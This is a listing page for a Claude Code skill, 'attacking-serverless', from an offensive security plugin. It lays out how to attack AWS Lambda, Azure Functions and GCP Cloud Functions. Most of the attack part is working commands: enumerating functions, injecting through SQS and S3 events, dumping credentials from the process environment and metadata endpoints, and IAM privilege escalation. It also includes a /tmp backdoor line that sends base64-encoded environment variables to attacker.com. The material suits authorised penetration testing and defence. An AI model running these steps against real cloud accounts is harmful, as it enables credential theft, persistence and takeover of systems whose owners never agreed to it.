/secskills-offense:attacking-serverlessfrom secskills-offense
Attacks serverless compute across AWS Lambda, Azure Functions, GCP Cloud Functions, and Cloudflare Workers. Enumerates functions, injects through event sources, extracts credentials, and tests IAM privilege escalation.
Ships in secskills-offense. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
Serverless changes the attack surface from hosts to events. There is no SSH, no persistent shell, no OS to enumerate in the traditional sense. The execution environment is ephemeral, but the IAM role attached to it is not, and that role is almost always the real target. A compromised Lambda function does not give you a server — it gives you a set of AWS credentials that refresh automatically, have no MFA, and were scoped by a developer who optimized for "make it work" rather than least privilege. The same pattern holds across Azure Functions, GCP Cloud Functions, and edge runtimes, with minor variation in where the credentials live and how the isolation boundary is drawn.
exploiting-cloud-platforms for
general cloud IAM enumeration and privilege escalationtesting-apis for the API methodologyauditing-code-for-vulnerabilities for static analysisDiscover functions before you attack them. The function name, runtime, handler, event sources, and attached role are all enumerable from the cloud control plane or from the application itself.
# AWS — list functions and their configurations
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler]' --output table
aws lambda list-event-source-mappings --function-name TARGET_FUNCTION
aws apigateway get-rest-apis
aws apigatewayv2 get-apis
# Azure
az functionapp list --query '[].{name:name, runtime:siteConfig.linuxFxVersion, rg:resourceGroup}' -o table
az functionapp function list --name APP_NAME --resource-group RG
# GCP
gcloud functions list --format='table(name,runtime,entryPoint,trigger)'
gcloud functions describe FUNCTION_NAME
From the outside, look for: API Gateway default stages (/prod, /dev,
/stage), function URL patterns (*.lambda-url.*.on.aws,
*.azurewebsites.net/api/, *.cloudfunctions.net), and error responses
that leak runtime information (Runtime.HandlerNotFound,
MODULE_NOT_FOUND).
In serverless, the event IS the input. Every event source is an entry point, and most of them are not HTTP — they bypass WAFs, API gateways, and any middleware that only inspects HTTP requests.
The event object is attacker-controlled when:
# S3 event — the key is attacker-controlled if uploads are open
{
"Records": [{
"s3": {
"bucket": {"name": "target-bucket"},
"object": {"key": "../../../tmp/payload"}
}
}]
}
# Inject through SQS — if you have SendMessage permission
aws sqs send-message --queue-url https://sqs.*.amazonaws.com/ACCOUNT/QUEUE \
--message-body '{"exploit": "payload"}'
# Invoke a function directly if you have lambda:InvokeFunction
aws lambda invoke --function-name TARGET --payload '{"key":"value"}' /dev/stdout
Test each event source independently. A function that sanitizes HTTP input from API Gateway may not sanitize the same fields when they arrive from SQS.
Serverless runtimes inject credentials and configuration as environment variables. If you achieve code execution inside a function, these are the first targets.
# Read the process environment — works in most runtimes
cat /proc/self/environ | tr '\0' '\n'
# Key variables on AWS Lambda
echo $AWS_ACCESS_KEY_ID
echo $AWS_SECRET_ACCESS_KEY
echo $AWS_SESSION_TOKEN
echo $AWS_LAMBDA_FUNCTION_NAME
echo $AWS_REGION
# Lambda runtime API — metadata endpoint inside the execution environment
curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next"
# Azure Functions
echo $AzureWebJobsStorage # often a full connection string
echo $IDENTITY_ENDPOINT # managed identity token endpoint
curl -s "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \
-H "X-IDENTITY-HEADER: $IDENTITY_HEADER"
# GCP Cloud Functions — metadata server
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google"
Developers also store secrets in environment variables directly rather than using Secrets Manager or Key Vault. Look for database connection strings, API keys, and third-party credentials.
The function's execution role is the pivot point. It is almost always over-privileged because developers add permissions until the function works and never remove them.
# Identify who you are
aws sts get-caller-identity
# Enumerate what you can do — use the stolen credentials outside Lambda
# (session tokens from Lambda are valid for up to 12 hours)
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# Enumerate policies attached to the role
aws iam list-attached-role-policies --role-name ROLE_NAME
aws iam get-role-policy --role-name ROLE_NAME --policy-name POLICY
# Common over-privileges to check for
aws s3 ls # s3:ListAllMyBuckets
aws secretsmanager list-secrets # secretsmanager:ListSecrets
aws dynamodb list-tables # dynamodb:ListTables
aws lambda list-functions # lambda:ListFunctions
aws iam list-roles # iam:ListRoles
Escalation paths from a Lambda role:
iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction — create
a new function with a more privileged role and invoke itlambda:UpdateFunctionCode — replace another function's code with your payloadiam:AttachRolePolicy — attach AdministratorAccess to the current rolests:AssumeRole — pivot to cross-account roles that trust the Lambda rolessm:GetParameter — read secrets from Parameter Storesecretsmanager:GetSecretValue — read secrets from Secrets ManagerOn Azure, a managed identity with Contributor on the subscription is the
equivalent finding. On GCP, check for iam.serviceAccountTokenCreator or
owner roles on the function's service account.
The execution environment persists between invocations for minutes to hours.
Anything written to /tmp survives across calls to the same warm container.
# Check for artifacts from previous invocations
ls -la /tmp/
cat /tmp/*.log 2>/dev/null
# Write a persistent payload — it will execute on the next invocation
echo 'import os; os.system("curl attacker.com/exfil?data=$(env|base64)")' > /tmp/backdoor.py
Lambda Layers are extracted to /opt and shared across functions. A
compromised layer poisons every function that uses it. Check:
aws lambda list-layers
aws lambda get-layer-version --layer-name NAME --version-number 1
# Download, inspect, and look for writable paths or injected dependencies
Container reuse means: file-system state persists in /tmp, global
variables in the runtime persist, database connection pools persist, and any
background threads you start keep running. On Cloudflare Workers (V8 isolates),
global scope persists within the isolate but /tmp does not exist.
Understand the isolation model before assuming escape is possible or impossible.
SharedArrayBuffer and high-resolution timers to mitigate.For most engagements, focus on the IAM role and the application logic rather than the runtime isolation. Sandbox escape is a research target, not a pentest finding.
The most common serverless vulnerability is not in the code — it is in how the function is exposed.
# Public API Gateway with no authorizer
aws apigateway get-resources --rest-api-id API_ID
aws apigateway get-method --rest-api-id API_ID --resource-id RES_ID --http-method GET
# Check: authorizationType should not be "NONE" on sensitive endpoints
# Lambda function URLs — public by default if auth-type is NONE
aws lambda list-function-url-configs --function-name FUNC
aws lambda get-function-url-config --function-name FUNC
# Check: AuthType should be AWS_IAM, not NONE
# Azure — function-level authorization keys
az functionapp function keys list --name APP --function-name FUNC --resource-group RG
# Check: authLevel should not be "anonymous" on sensitive functions
Common misconfigurations:
AuthType: NONE — reachable by anyone with the URLOrchestration services (AWS Step Functions, Azure Durable Functions, GCP Workflows) introduce state machine logic that is often testable.
# List and describe state machines
aws stepfunctions list-state-machines
aws stepfunctions describe-state-machine --state-machine-arn ARN
# List executions and inspect input/output
aws stepfunctions list-executions --state-machine-arn ARN --status-filter RUNNING
aws stepfunctions describe-execution --execution-arn EXEC_ARN
aws stepfunctions get-execution-history --execution-arn EXEC_ARN
Attack patterns:
GetActivityTask can steal work itemsWhen reviewing a serverless deployment, verify each item:
* resource or * action in its policyNONE)AWS_IAM auth type or are not enabled*/tmp and
global state survive across warm invocations. Layers persist across
deployments. The IAM credentials work from anywhere.lambda:InvokeFunction permissions, and event
sources that bypass the gateway entirely.AmazonS3FullAccess pass code review
constantly.Generated from secskills-core/ttp-index.json — edit that file, then run
python3 scripts/sync_attack.py --write. Re-verify IDs against the
current ATT&CK release before citing them in a report.
Execution (TA0002)
Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.
exploiting-cloud-platforms — general cloud IAM, control plane, and
privilege escalation methodologytesting-apis — API Gateway and HTTP endpoint testing methodologyauditing-code-for-vulnerabilities — static review of function handler codeengineering-detections — detection engineering for serverless abuse patternsWhat SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
AWS, GCP, Azure, Cloudflare
npx claudepluginhub gztes/security-for-platforms --plugin trilwu-secskills-offense40 skills in this plugin
/abusing-adcsEnumerate and abuse Active Directory Certificate Services with Certipy and Certify — the ESC1 through ESC16 escalation paths, vulnerable template and CA configurations, NTLM relay to web enrollment, certificate-based authentication and persistence, and the strong-mapping changes that gate several of them. Use when a domain has a certificate authority, when Certipy or BloodHound reports vulnerable templates, or when escalating from a low-privilege domain user./abusing-ci-cd-oidcExploit CI/CD pipeline misconfigurations and OIDC federation weaknesses across GitHub Actions, GitLab CI, and Jenkins -- poisoned workflows, secret exfiltration, runner compromise, overly broad OIDC trust policies, build artifact poisoning, and credential theft. Use when pentesting CI/CD infrastructure, assessing OIDC federation trust boundaries, reviewing pipeline security posture, or exploiting a path from repository access to cloud credentials./attacking-active-directoryAttack and enumerate Active Directory environments using Kerberos attacks (Kerberoasting, ASREPRoasting), credential dumping (DCSync, Mimikatz), lateral movement (PtH, PtT), and BloodHound analysis. Use when pentesting Windows domains or exploiting AD misconfigurations./attacking-bluetooth-nfcAttack Bluetooth Classic, BLE, and NFC targets -- device enumeration, GATT characteristic exploitation, BLE MITM and replay, Ubertooth and nRF sniffing, MIFARE Classic cracking, Proxmark3 card cloning, NFC relay attacks, and access control bypass. Use when pentesting BLE peripherals or IoT devices, assessing NFC-based access controls or contactless payment security, testing Bluetooth pairing and authentication, or evaluating physical access card cloneability./attacking-eks-gke-aksAssess managed Kubernetes clusters on EKS, GKE, and AKS by exploiting the seams between cloud IAM and Kubernetes RBAC -- IRSA/OIDC trust abuse, Workload Identity Federation, pod-to-IMDS escalation, aws-auth ConfigMap takeover, node pool service account abuse, and AAD integration weaknesses. Use when pentesting a managed k8s cluster, reviewing RBAC in EKS/GKE/AKS, testing pod-to-cloud escalation, or assessing network policy enforcement across namespaces./attacking-entra-idAttack and enumerate Azure AD / Entra ID tenants — initial recon with AADInternals and ROADtools, password spraying, token theft (PRT, CAE, refresh tokens), application and service principal abuse, Conditional Access bypass, cross-tenant pivoting, hybrid identity attacks (PTA agent, Azure AD Connect), and managed identity abuse. Use when pentesting Entra ID tenants, assessing Azure AD security posture, or exploiting cloud identity misconfigurations.2 plugins ship this exact skill · first indexed Jul 31, 2026
Other plugins' skills for the same job